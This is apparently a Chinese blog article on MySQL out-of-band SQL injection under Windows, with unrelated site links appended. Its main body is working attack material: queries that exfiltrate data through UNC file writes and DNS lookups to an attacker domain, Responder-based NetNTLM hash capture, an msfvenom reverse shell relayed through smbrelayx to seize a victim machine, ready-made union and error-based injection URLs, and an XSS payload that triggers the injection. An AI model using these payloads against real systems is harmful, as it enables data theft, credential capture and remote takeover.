概述

当涉及到MSSQL与Oracle时,Out-of-Band 注入是非常好的方式。但我注意到MySQL注入的情况并非如此,于是我准备以自己在SQL注入方面的经验做相关的研究。我们可以利用诸如load_file() 和 select…into之类的函数来outfile/dumpfile。除此之外,我们还可以窃取NetNTLM哈希或者进行SMB中继攻击。这所有的一切都只能在Windows环境下的MySQL中实现。

什么是 Out-of-Band 注入?

这些攻击涉及除了通过除服务器提取数据之外的其他方式,可能是HTTP(S)请求、DNS解析、文件系统、电子邮件等,具体取决于后端实现的功能。

MySQL中的限制条件

MySQL中有一个名为secure_file_priv的全局系统变量。这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。

  • 如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
  • 如果变量为空,则不会产生影响,引起不安全的配置。
  • 如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始允许。

在MySQL 5.5.53之前,此变量默认为空,因此我们就可以使用这些函数。但是在5.5.53之后的版本中,NULL值会禁用这些功能。我们可使用其中的一种方法来检查这个变量的值。Secure_file_priv是一个全局变量,它是一个只读变量,你不能在运行时改变它。

select @@secure_file_priv;

select @@global.secure_file_priv;

show variables like “secure_file_priv”;

例如我的MySQL 5.5.34中的默认值为空,我们就可以使用这些功能。

在MySQL 5.6.34版本中,这个值默认是NULL,这将禁用导入和导出操作。

解决方案

这里有几个解决方法,可以在5.5.53之后的版本中克服这个问题。

  • 启动mysqld进程,将“-secure-file-priv =”参数设置为空。

mysqld.exe –secure-file-priv=

  • 在“my.ini”配置文件中添加条目:

secure-file-priv=

查找默认选项的加载顺序和配置文件的路径,键入以下内容:

mysqld.exe –help –verbose

  • 将配置文件指向mysqld.exe

你可以创建一个新文件”myfile.ini”并将此文件作为MySQL的默认配置。

mysqld.exe –defaults-file=myfile.ini

配置内容如下

[mysqld]

secure-file-priv=

使用文件系统提取数据

在MySQL中,我们可以使用共享文件系统作为替代通道来提取数据。

select @@version into outfile ‘\\\\192.168.0.100\\temp\\out.txt’;

select @@version into dumpfile ‘\\\\192.168.0.100\\temp\\out.txt’;

select @@version into outfile ‘//192.168.0.100/temp/out.txt’;

select @@version into dumpfile ‘//192.168.0.100/temp/out.txt’;

请注意,如果过滤引号,无法使用十六进制会话或者其他格式作为文件路径

使用DNS解析提取数据

可以在MySQL中使用的另一个渠道是DNS解析。

select load_file(concat(‘\\\\’,version(),’.hacker.site\\a.txt’));

select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));

可以清楚地看到版本5.6.34跟DNS查询一起发送。

当MySQL尝试解析DNS查询时,我们可以记录DNS请求并从“hacker.site”DNS服务器成功提取数据。数据记录为子域。

提取数据时需要注意DNS请求不能使用特殊字符。可以利用MySQL字符串函数如mid、substr、replace等处理这些情况。

窃取NetNTLM哈希

正如你之前看到的,’load_file’和’into outfile / dumpfile’在Windows下的UNC路径下运行正常,可以用于解析一个不存在的路径,当DNS失败时,请求将作为LLMNR发送、NetBIOS- NS查询。通过投毒LLMNR协议,我们可以捕获NTLMv2哈希。 我们在攻击中可用到的工具包括:

以Responder为例。在Windows 8 x64中运行MySQL 5.6.34。

responder -I eth0 -rv

接下来,我们可以使用’load_file’,’into outfile / dumpfile’或’load data infile’来解析一个无效的UNC路径。

select load_file(‘\\\\error\\abc’);

select load_file(0x5c5c5c5c6572726f725c5c616263);

select ‘osanda’ into dumpfile ‘\\\\error\\abc’;

select ‘osanda’ into outfile ‘\\\\error\\abc’;

load data infile ‘\\\\error\\abc’ into table database.table_name;

视频演示:

https://www.youtube.com/watch?v=zE-TsQVn9oI

你也可以通过互联网窃取NetNTLM哈希。用VPS测试。

SMB中继攻击

通过使用“load_file”,“into outfile / dumpfile”和“load data infile”等函数,我们可以在Windows下访问UNC路径。我们可以在执行SMB中继攻击时利用此功能,并且在目标设备中弹出一个shell。以下是SMB中继攻击的可视化演示。这是我的实验设置配置:

  • MySQL服务器:Windows 8: 192.168.0.100
  • 攻击者:Kali: 192.168.0.101
  • 受害者:Windows 7: 192.168.0.103(以管理员身份运行)

使用的工具

首先,我在我的Kali上生成一个反向shell,并在Metasploit上运行’multi/handler’模块。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=443 -f exe >
reverse_shell.exe

然后使用smbrelayx指定受害者的IP地址和生成的反向shell并等待传入的连接。

smbrelayx.py -h 192.168.0.103 -e ./reverse_shell.exe

一旦我们从MySQL服务器中执行任意语句,我们就可以得到反向shell。

select load_file(‘\\\\192.168.0.101\\aa’);

select load_file(0x5c5c5c5c3139322e3136382e302e3130315c5c6161);

select ‘osanda’ into dumpfile ‘\\\\192.168.0.101\\aa’;

select ‘osanda’ into outfile ‘\\\\192.168.0.101\\aa’;

load data infile ‘\\\\192.168.0.101\\aa’ into table database.table_name;

这些是Metasploit中’multi / handler’模块的选项。

一旦MySQL服务器把请求发送到Kali,smbrelayx就会执行SMB中继攻击将我们的反向shell上传并执行。

如果攻击成功,我们就可以从Windows 7中获得反向shell。

union注入和报错注入

‘load_file’函数能够用于基于union的报错注入。例如在基于union的场景中,我们可以使用OOB注入:

http://192.168.0.100/?
id=-1'+union+select+1,load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e7478
74)),3-- -

我们也可以使用基于报错的技术如BIGINT溢出方法或者基于EXP报错的方法。

http://192.168.0.100/?id=-1' or !(select*from(select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))x)-~0-- - http://192.168.0.100/?id=-1' or exp(~(select*from(select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))a))-- -

不使用or,可以使用 ||, |, and, &&, &, >>, <<, ^, xor, <=, <, ,>, >=, *, mul, /, div, -, +, %, mod等。

XSS + SQLi

我们可以将XSS攻击与MySQL相结合,以便于在渗透测试中帮你解决不同场景中的问题。我们可以执行执行窃取NetNTLM哈希和结合XSS的SMB中继攻击。如果XSS是持续的,那么受害者每次访问页面都会被感染。需要注意的是,当处理JavaScript时,你处于同源策略(SOP)环境下。

<svg onload=fetch(("http://192.168.0.100/?
id=-1'+union+select+1,load_file(0x5c5c5c5c6572726f725c5c6161),3-- -"))>

还可以使用MySQL回显HTML,从而回显一个无效的UNC路径来窃取NetNTLM哈希或者直接使用攻击者的IP实施SMB中继攻击。这些UNC路径仅在IE Web浏览器中解析。

http://192.168.0.100/?id=-1' union select 1,'<img src="\\\\error\\aa">'%23

总结

当向量被禁用、受限或者被过滤且唯一的选择就是使用推理方法,从而导致所有带内方法不起作用时,可以使用这些讨论的方法。’select … into outfile / dumpfile’可以用于基于union的注入。’load_file’方法可以用于基于union的注入和基于报错的注入。

Paper

参考

MySQL Out-of-Band 攻击的更多相关文章

  1. 网站mysql防止sql注入攻击 3种方法总结

    mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...

  2. kali 系列学习10-渗透攻击MySQL数据库服务、PostgreSQL数据库服务、Tomcat服务和PDF文件

    介绍使用MSFCONSOLE工具渗透攻击MySQL数据库服务.PostgreSQL数据库服务.Tomcat服务和PDF文件等. 6.4.1 渗透攻击MySQL数据库服务 MySQL是一个关系型数据库管 ...

  3. PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击

    首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它. mysql_real_escape_string() 和 ...

  4. 对于新安装的MySQL如何提升MySQL的安全级别

    一 作为最流行的开源数据库引擎,MySQL本身是非常安全的.即便如此,你仍然需要添加额外的安全层来保护你的MySQL数据库不受攻击,毕竟任何经营网上在线业务的人都不想冒数据库受到损坏的风险.接下来,我 ...

  5. mysql max_allowed_packet自动重置为1024 终结解决

    背景: 测试环境1台centOS机器,最近一段频繁报“ Caused by: com.mysql.jdbc.PacketTooBigException: Packet for query is too ...

  6. 警惕!MySQL成数据勒索新目标

    据最新报道显示,继MongoDB和Elasticsearch之后,MySQL成为下个数据勒索目标,从2月12日凌晨开始,已有成百上千个开放在公网的MySQL数据库被劫持,删除了数据库中的存储数据,攻击 ...

  7. 腾讯云报告——MySQL成勒索新目标,数据服务基线安全问题迫在眉睫

    推荐理由 大数据时代,人类产生的数据越来越多,但数据越多的情况下,也会带来数据的安全性问题,如MySQL数据库上的数据,越来越多的黑客盯上了它,今天推荐的这篇文章来自于腾讯云技术社区,主要是针对MyS ...

  8. MySQL成勒索新目标,数据服务基线安全问题迫在眉睫

    版权声明:本文由云鼎实验室原创文章,转载请注明出处: 文章原文链接:https://www.qcloud.com/community/article/519598001488335177 来源:腾云阁 ...

  9. Kali-linux渗透攻击应用

    前面依次介绍了Armitage.MSFCONSOLE和MSFCLI接口的概念及使用.本节将介绍使用MSFCONSOLE工具渗透攻击MySQL数据库服务.PostgreSQL数据库服务.Tomcat服务 ...

  10. mysql数据库详解

    001 数据库应用系统设计 1.规划   2.需求分析   3.概念模型设计   4.逻辑设计   5.物理设计   6.程序编制及调试   7.运行及维护. 002 创建数据库 CREATE DAT ...

随机推荐

  1. hdu 2859 Phalanx (最大对称子矩阵)

    Problem Description Today is army day, but the servicemen are busy with the phalanx for the celebrat ...

  2. 洛谷P2824 排序

    解:splay + 线段树合并,分裂. 首先有个乱搞做法是外层拿splay维护,有序区间缩成splay上一个节点.内层再开个数据结构支持合并分裂有序集合. 内层我一开始想的是splay,然后就没有复杂 ...

  3. .net 调用 网易云的短信验证

    static string url = "https://api.netease.im/sms/sendcode.action"; static string appKey = & ...

  4. 手机nv

    NV值是记录手机的射频参数的,和手机的IMEI号.手机信号.WIFI信号等有关,如果NV值刷没了,手机没有这些校准的数据了,会对手机有一定的影响. qcn里面包含手机的imei 所有改变imei就改变 ...

  5. noi.openjudge 1.13.15

    http://noi.openjudge.cn/ch0113/15/ 总时间限制:  1000ms 内存限制:  65536kB 描述 输入一个长度为N的整数序列 (不多于128个整数),每个整数的范 ...

  6. windows server 2012 流媒体服务器搭建(直播与点播)

    IIS Live Smooth Streaming(实时平滑流式处理)是微软下一代流媒体解决方案.该技术是在IIS web中集成媒体传输平台IIS media services,实现利用标准 HTTP ...

  7. windows下ngnix+php配置

    1.需要工具: 下载ngnix  网址:http://nginx.org/ 下载:RunHiddenConsole 第二步 将下载文件解压后,将RunHiddenConsole拷贝到ngnix目录与p ...

  8. Luogu P2463 [SDOI2008]Sandy的卡片

    题目链接 \(Click\) \(Here\) 真的好麻烦啊..事实证明,理解是理解,一定要认认真真把板子打牢,不然调锅的时候真的会很痛苦..(最好是八分钟能无脑把\(SA\)码对的程度\(QAQ\) ...

  9. oracle出现无法响应新的请求,报ora-12516错误

    oracle的会话数超出了限制,一般都是由于多次connect建立多个连接会话引起.   解决办法: (oracle登录后台,1)sqlplus /nolog  2)conn / as sysdba) ...

  10. ajax传值修改数据

    主界面代码: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www. ...